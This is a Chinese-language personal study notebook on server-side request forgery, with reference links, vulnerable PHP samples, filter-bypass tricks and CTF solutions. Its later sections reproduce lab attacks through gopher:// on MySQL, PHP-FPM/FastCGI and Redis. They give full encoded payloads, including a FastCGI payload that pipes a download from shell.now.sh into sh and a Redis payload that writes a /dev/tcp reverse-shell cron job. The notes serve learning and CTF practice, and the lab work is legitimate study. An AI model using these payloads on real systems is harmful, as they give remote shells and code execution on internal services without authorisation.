# SSRF 学习记录
###### tags: `SSRF`
[toc]
![](https://i.imgur.com/jAtTFop.png)
![](https://i.imgur.com/mlpNLtN.png)
[猪猪侠乌云白帽大会SSRF经典议程](http://docs.ioin.in/writeup/fuzz.wuyun.org/_src_build_your_ssrf_exp_autowork_pdf/index.pdf)
SSRF(服务器端请求伪造)测试资源
https://paper.seebug.org/393/
https://github.com/cujanovic/SSRF-Testing
SSRF 圣经
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM
【Blackhat】SSRF的新纪元:在编程语言中利用URL解析器
https://www.anquanke.com/post/id/86527
https://www.youtube.com/watch?v=D1S-G8rJrEk
【Blackhat】从SSRF执行链到RCE,看我如何利用GitHub企业版中的四个漏洞
https://www.anquanke.com/post/id/86517
【BlackHat 2017 议题剖析】连接的力量:GitHub 企业版漏洞攻击链构造之旅
https://paper.seebug.org/363/
SSRF Tips
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://www.91ri.org/17111.html
了解SSRF,这一篇就足够了
https://xz.aliyun.com/t/2115
SSRF攻击文档翻译
https://xz.aliyun.com/t/2421
SSRF-Lab
https://github.com/m6a-UdS/ssrf-lab
从CTF中学习SSRF
http://hwhxy.space/2018/08/09/%E4%BB%8ECTF%E4%B8%AD%E5%AD%A6%E4%B9%A0SSRF.html
SSRF injection总结得很全面的资料
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection#summary
some trick in ssrf
http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/#trick2-libcurl-and-parse-url
PHP的libcurl中存在的一些问题
http://wonderkun.cc/index.html/?p=670
parse_url 函数trick
https://github.com/jiangsir404/Audit-Learning/blob/master/parse_url%20%E5%87%BD%E6%95%B0trick.md
SSRF漏洞中绕过IP限制的几种方法总结
https://www.freebuf.com/articles/web/135342.html
SSRF绕过方法总结
https://www.secpulse.com/archives/65832.html
All you need to know about SSRF and how may we write tools to do auto-detect
http://www.auxy.xyz/paper/post/all-ssrf-knowledge/
https://medium.com/bugbountywriteup/the-design-and-implementation-of-ssrf-attack-framework-550e9fda16ea
利用redis写webshell
https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
Redis和SSRF
https://xz.aliyun.com/t/1800
SSRF漏洞(原理&绕过姿势)(php,java,python例子)
https://www.t00ls.net/articles-41070.html
浅析SSRF原理及利用方式
https://www.anquanke.com/post/id/145519
SSRF利用
https://hellohxk.com/blog/ssrf/
Gopher SSRF攻击内网应用复现
https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/
https://joychou.org/web/phpssrf.html
https://paper.seebug.org/510/#01
利用 Gopher 协议拓展攻击面
https://blog.chaitin.cn/gopher-attack-surfaces/
Python安全 - 从SSRF到命令执行惨案
https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
## 漏洞场景
了解了漏洞的原理后,我们知道**所有能发起请求的地方**都可能会存在SSRF漏洞,我们可以根据“漏洞代码”中的常见方法对项目进行自查。以下列举一些最容易出现本漏洞的场景:
能填写链接的地方
* 业务场景
* 从URL上传图片
* 订阅RSS
* 爬虫
* 预览
* 离线下载
数据库内置功能
* Oracle
* MongoDB
* MSSQL
* Postgres
* CouchDB
邮箱服务器收取其他邮箱邮件
* POP3/IMAP/SMTP
文件处理、编码处理、属性处理
* FFmpeg
* ImageMagick
* Docx
* PDF
* XML
![QQ邮箱](https://i.imgur.com/HiviuFE.png)
## 漏洞验证
1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
2.dnslog等工具或者使用`http://ceye.io`进行测试,看是否被访问
--可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址
--从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
--通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner、title、content等信息
5.留意bool型SSRF
## 工具
SSRFmap - https://github.com/swisskyrepo/SSRFmap
Gopherus - https://github.com/tarunkant/Gopherus
shellver - https://github.com/0xR0/shellver
## 协议
### file协议
读取服务器上任意文件内容
### dict协议
可以用来操作内网Redis等服务
### ftp、ftps
FTP匿名访问、爆破
### tftp
UDP协议扩展
### imap/imaps/pop3/pop3s/smtp/smtps
爆破邮件用户名密码
### telnet
SSH/Telnet匿名访问及爆破
### smb/smbs
SMB匿名访问及爆破
### Gopher
Gopher 协议在SSRF中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用`%0d%a`。注意post参数之间的&分隔符也要进行url编码
基本协议格式:`URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流`
使用gopher协议构造post包的方法
https://www.th1s.cn/index.php/2016/10/31/15.html
实际测试以及阅读文章中发现gopher存在以下几点问题
1. PHP的curl默认不跟随302跳转
1. curl7.43gopher协议存在%00截断的BUG,v7.45以上可用
1. file_get_contents()的SSRF,gopher协议不能使用URLencode
1. file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败
## PHP漏洞代码
### curl造成的SSRF
```php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
```
### file_get_contents造成的SSRF
```php
$url = $_GET['url'];;
echo file_get_contents($url);
```
### fsockopen造成的SSRF
```php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
```
## 利用方式
1. 利用redis从而RCE
2. 探测并利用内网struts2漏洞
3. 利用gopher://协议,在php-fpm里执行任意代码
4. 利用redis/memcache里存储的数据,反序列化或权限绕过
5. 利用phar://协议来触发反序列化漏洞
6. 利用file://协议读取本地文件
soap导致的SSRF
https://xz.aliyun.com/t/2960
题目:https://xz.aliyun.com/t/2148
SOAP及相关漏洞研究
https://skysec.top/2018/08/17/SOAP及相关漏洞研究
Python安全 - 从SSRF到命令执行惨案 Python安全 - [从SSRF到命令执行惨案 | 离别歌](https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html)
利用ssrf攻击内网fpm Do Evil Things with gopher://
https://paper.tuisec.win/detail/a87f0565b628bac
利用ssrf攻击内网mysql 从一道CTF题目看Gopher攻击MySql
https://paper.tuisec.win/detail/aed0bb56df25952
SSRF配合一些云服务器的特点来GetShell, 如这个:[HackerOne](https://hackerone.com/reports/401136)
[通过SSRF漏洞攻击Docker远程API获取服务器Root权限](https://www.freebuf.com/articles/web/179910.html)
搜狗某内网存在Struts2命令执行(discuz!应用实例) Wooyun
http://www.secevery.com:4321/bugs/wooyun-2015-0151181
案例 bilibili某分站从信息泄露到ssrf再到命令执行 https://wy.tuisec.win/wooyun-2016-0213982.html
案例 Vanilla论坛利用getimagesize进行phar反序列化导致RCE
https://xz.aliyun.com/t/3190
Phar与Stream Wrapper造成PHP RCE的深入挖掘
https://blog.zsxsoft.com/post/38
例题:LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析
https://www.anquanke.com/post/id/164818
案例 百度某个从SSRF到内网WebShell https://wy.tuisec.win/wooyun-2015-099070.html
案例 `SSRF in https://imgur.com/vidgif/url`
https://hackerone.com/reports/115748
案例 利用NodeJS SSRF漏洞获取AWS完全控制权限
https://xz.aliyun.com/t/2871
## [绕过技巧](https://www.secpulse.com/archives/65832.html)
### 更改IP地址写法
例如192.168.0.1
```
(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001
```
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
```
1. http://0/
2. http://127.1/
3. 利用ipv6绕过,http://[::1]/
4. http://127.0.0.1./
```
### 利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容
### 利用302跳转
(1)http://xip.io和xip.name当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
```
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4
```
(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过用短地址的方式绕过
https://tinyurl.com/
### 通过各种非HTTP协议
### DNS rebinding
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等
我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。
```
服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
对于获得的IP进行判断,发现为非黑名单IP,则通过验证
服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
由于已经绕过验证,所以服务器端返回访问内网资源的结果。
```
[关于DNS-rebinding的总结](http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/)
## 实例
### LCTF-2017-签到题
```php
<?php
if(!$_GET['site']){
$str = <<<EOD
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOD;
echo $str;
die();
}
$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";
if ($host !== 'www.baidu.com'){
die("wrong site");
}
$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);
if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}
?>
```
知识点
* 用file协议读取本地文件
* 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
* 截断url后面拼接的/, GET请求, 用?#都可以
payload
```
file://www.baidu.com/etc/flag?
```
### XMAN-SimpleSSRF
```php
<?php
/*
* I stored flag at baidu.com
*/
show_source(__FILE__);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!$url){
die('Can not parse url: '.$_GET['url']);
}
if(substr($_GET['url'], strlen('http://'), strlen('baidu.com')) === 'baidu.com'){
die('Hey, papi, you have to bypass this!');
}
if(
$url['host'] === 'baidu.com'
){
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
curl_exec($ch);
curl_close($ch);
}else{
die('Save it, hacker!');
}
}
```
知识点
* file协议
* 匹配规则
```
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
```
![](https://i.imgur.com/nDbtZfH.png)
题目告诉你存在一个flag,要输入一个url。
判断`url[7:15]`是不是等于`baidu.com`,并且要让parse_url()处理过后的得到的`url['host']`强等于`baidu.com`,然后回去curl你输入的网址。
好的我们现在来梳理一下,如果正常的输入`http://baidu.com/flag`,则过不了第一个判断,因为提取出来的url`[7:15]===baidu.com`
如果输入`http://eval.com`则能过第一个,但是过不了第二个,因为`url[‘host’]===eval.com`,所以这里的焦点放在了parse_url上
如何让parse_url提取的`url[‘host’]==baidu.com`,又能让`url[7:15]!=baidu.com`呢,
@符号之前表示user成分,如果有pass,则用:分割虽然这样没有安全性可言,但是这确实是设计url中的一环.
payload
```
file://@baidu.com/flag
```
### NCTF-2018-Hard Php
题目环境:https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
https://xz.aliyun.com/t/2148
### LCTF-2018-bestphp's revenge
题目环境:https://github.com/LCTF/LCTF2018/tree/master/Writeup/babyphp's%20revenge
https://www.anquanke.com/post/id/164569#h2-5
https://xz.aliyun.com/t/3336
### 34c3ctf-extract0r
题目环境:https://github.com/eboda/34c3ctf/tree/master/extract0r
### Gopher 攻击mysql
#### MySQL连接方式:
在进行利用SSRF攻击MySQL之前,先了解一下MySQL的通信协议。MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:
* Unix套接字;
* 内存共享/命名管道;
* TCP/IP套接字;
在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql–h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。
所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。
#### MySQL认证过程:
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。
认证数据包格式如下:
![](https://i.imgur.com/HdDjdxe.png)
#### 开始
环境使用mattrayner/lamp:latest-1604-php7 docker
![](https://i.imgur.com/uAy5BKH.png)
```
root@487d27afcad1:/# uname -a
Linux 487d27afcad1 4.10.4-1.el7.elrepo.x86_64 #1 SMP Sat Mar 18 12:50:10 EDT 2017 x86_64 x86_64 x86_64 GNU/Linux
root@487d27afcad1:/# curl -V
curl 7.47.0 (x86_64-pc-linux-gnu) libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
root@487d27afcad1:/# mysql -V
mysql Ver 14.14 Distrib 5.7.23, for Linux (x86_64) using EditLine wrapper
root@487d27afcad1:/# php -v
PHP 7.2.9-1+ubuntu16.04.1+deb.sury.org+1 (cli) (built: Aug 19 2018 07:16:12) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.9-1+ubuntu16.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies
with Xdebug v2.6.0, Copyright (c) 2002-2018, by Derick Rethans
```
创建数据库
```
mysql> create database flag;
Query OK, 1 row affected (0.01 sec)
mysql> use flag;
Database changed
mysql> create table flag(flag varchar(30) not null);
Query OK, 0 rows affected (0.03 sec)
mysql> INSERT INTO flag VALUES('flag{gopher_i3_Vu1n3rab13}');
Query OK, 1 row affected (0.04 sec)
```
使用[gopherus](https://github.com/tarunkant/Gopherus)生成payload
![](https://i.imgur.com/4s1Z1i4.png)
![](https://i.imgur.com/SpDmDbc.png)
线上测试
index.php
```php
<?php
$url = @$_GET['url'];
if($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
?>
```
注意:如果ssrf的点是get参数,因为处于url中,则需要进行一次url编码,上述例子将会编码成:
```
http://xx.xx.xx.xx/?url=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251d%2500%2500%2500%2503%2575%2573%2565%2520%2566%256c%2561%2567%253b%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2566%256c%2561%2567%253b%2501%2500%2500%2500%2501
```
![](https://i.imgur.com/5ruYMEx.png)
很多情况下,SSRF是没有回显的。
我们可以通过mysql执行select into outfile,当前用户必须存在file权限,以及导出到`secure_file_priv`指定目录下,并且导入目录需要有写权限。
还可以通过udf反弹shell直接执行系统命令。
原理都是利用SSRF拿Gopher协议发送构造好的TCP/IP数据包攻击mysql
因为docker设置了`secure_file_priv=/var/lib/mysql-files/`,偷懒就没有改了,
![](https://i.imgur.com/A0dG2xU.png)
![](https://i.imgur.com/OqHDJ9j.png)
![](https://i.imgur.com/DhJhNRf.png)
也可以去读取mysql的配置文件
```
select LOAD_FILE('/etc/mysql/mysql.conf.d/mysqld.cnf');
```
看用户权限
```
select * from information_schema.user_privileges;
```
#### 利用udf提权反弹shell
https://coomrade.github.io/2018/10/28/SSRF%E6%94%BB%E5%87%BBMySQL/
http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/
![](https://i.imgur.com/7nyoAmr.png)
![](https://i.imgur.com/dgMs8WG.png)
![](https://i.imgur.com/llfvzwR.png)
因为mattrayner/lamp修改`secure-file-priv`失败使用了另外一个docker
docker run --rm -it -p 83:80 -v `pwd`/www:/app janes/alpine-lamp bash
![](https://i.imgur.com/msRcgAJ.png)
![](https://i.imgur.com/SbomXte.png)
![](https://i.imgur.com/t2ulzbu.png)
需要将my.ini中的skip-grant-tables选项去掉。
docker修改配置有点麻烦,不知道哪个才是真的配置文件,以后总结一下再来复现2333
UDF提权tips
https://bbs.ichunqiu.com/thread-39697-1-1.html
### Gopher攻击FastCGI
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
p神介绍FastCGI的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
实验环境:https://github.com/vulhub/vulhub/tree/master/fpm
利用条件
* libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
* PHP-FPM监听端口
* PHP-FPM版本 >= 5.3.3
* 知道服务器上任意一个php文件的绝对路径
监听一个端口的流量`nc -lvvp 2333 > 1.txt`,执行EXP,流量打到2333端口
```
python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/lib/php/PEAR.php
```
fpm.py地址https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
url编码
```
f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)
```
```
curl 'gopher://127.0.0.1:9000/_%01%01%5E%94%00%08%00%00%00%01%00%00%00%00%00%00%01%04%5E%94%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%5E%94%00%00%00%00%01%05%5E%94%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%5E%94%00%00%00%00'
```
![](https://i.imgur.com/cULUcBd.png)
在php尝试一下SSRF
```
?url=
gopher%3A%2f%2f127.0.0.1%3A9000%2f_%2501%2501%255E%2594%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%255E%2594%2501%25E7%2500%2500%250E%2502CONTENT_LENGTH50%250C%2510CONTENT_TYPEapplication%2ftext%250B%2504REMOTE_PORT9985%250B%2509SERVER_NAMElocalhost%2511%250BGATEWAY_INTERFACEFastCGI%2f1.0%250F%250ESERVER_SOFTWAREphp%2ffcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250F%251BSCRIPT_FILENAME%2fusr%2flocal%2flib%2fphp%2fPEAR.php%250B%251BSCRIPT_NAME%2fusr%2flocal%2flib%2fphp%2fPEAR.php%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250E%2504REQUEST_METHODPOST%250B%2502SERVER_PORT80%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250C%2500QUERY_STRING%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%250D%2501DOCUMENT_ROOT%2f%250B%2509SERVER_ADDR127.0.0.1%250B%251BREQUEST_URI%2fusr%2flocal%2flib%2fphp%2fPEAR.php%2501%2504%255E%2594%2500%2500%2500%2500%2501%2505%255E%2594%25002%2500%2500%253C%253Fphp%2520system%2528%2527echo%2520sectest%2520%253E%2520%2ftmp%2f1.php%2527%2529%253B%2520exit%253B%253F%253E%2501%2505%255E%2594%2500%2500%2500%2500
```
![](https://i.imgur.com/QOyUnuT.png)
反弹shell
```
python fpm.py -c "<?php system('curl https://shell.now.sh/xxx.xxx.xxx.xxx:2222 | sh'); exit;?>" -p 2333 127.0.0.1 /usr/local/lib/php/PEAR.php
```
![](https://i.imgur.com/gFkgFyH.png)
```
?url=
gopher://127.0.0.1:9000/_%01%01%EA%5E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%EA%5E%01%E7%00%00%0E%02CONTENT_LENGTH75%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%EA%5E%00%00%00%00%01%05%EA%5E%00K%00%00%3C%3Fphp%20system%28%27curl%20https%3A//shell.now.sh/xxx.xxx.xxx.xxx%3A2222%20%7C%20sh%27%29%3B%20exit%3B%3F%3E%01%05%EA%5E%00%00%00%00
```
反弹shell成功
![](https://i.imgur.com/6K5WePJ.png)
### Gopher 攻击Redis(一)
Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis。
实验环境:https://github.com/vulhub/vulhub/tree/master/fpm
```
$sudo apt-get update
$sudo apt-get install redis-server
$service redis-server start
$redis-cli
```
![](https://i.imgur.com/iWNgyaz.png)
![](https://i.imgur.com/e4bu8dJ.png)
[利用redis写webshell](https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html)
先写一个redis反弹shell的bash脚本如下:
```
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
```
该代码很简单,在redis的第0个数据库中添加key为1,value为`\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n`的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。
把接收到的数据转化为gopher数据流
```
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
```
需要注意的是,如果要换IP和端口,前面的$58也需要更改,$58表示字符串长度为58个字节,上面的EXP即是`%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a`,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推就行。
```
curl -v 'http://127.0.0.1/?url=gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0asucc%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
```
url编码后
```
curl -v 'http://127.0.0.1/?url=gopher%3A%2f%2f127.0.0.1%3A6379%2f_%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2463%250d%250a%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f2333%200%3E%261%250a%250a%250a%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250asucc%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250a%2a1%250d%250a%244%250d%250aquit%250d%250a'
```
![](https://i.imgur.com/JmFrfox.png)
返回了ok,Redis有字段
![](https://i.imgur.com/S2O0lcg.png)
查看一下`/var/spool/cron/`的root,文件内容有反弹shell命令
![](https://i.imgur.com/yTiKIE2.png)
因为系统并没有安装crontab,所以手动执行一下,nc会收到回显,但是会报错断开
![](https://i.imgur.com/mBDyO68.png)
:::success
实验失败
因为docker是ubuntu系统,而ubuntu下使用redis写crontab是无法成功反弹shell的
原因参考
https://xz.aliyun.com/t/1800
https://joychou.org/web/hackredis-enhanced-edition-script.html
:::
查看Linux发行版本
```
cat /etc/redhat-release
cat /etc/issue
radhat或centos存在: /etc/redhat-release 这个文件
【 命令 cat /etc/redhat-release 】
ubuntu存在 : /etc/lsb-release 这个文件
【命令 cat /etc/lsb-release 】
```
### 攻击Redis(二)
实验环境 https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
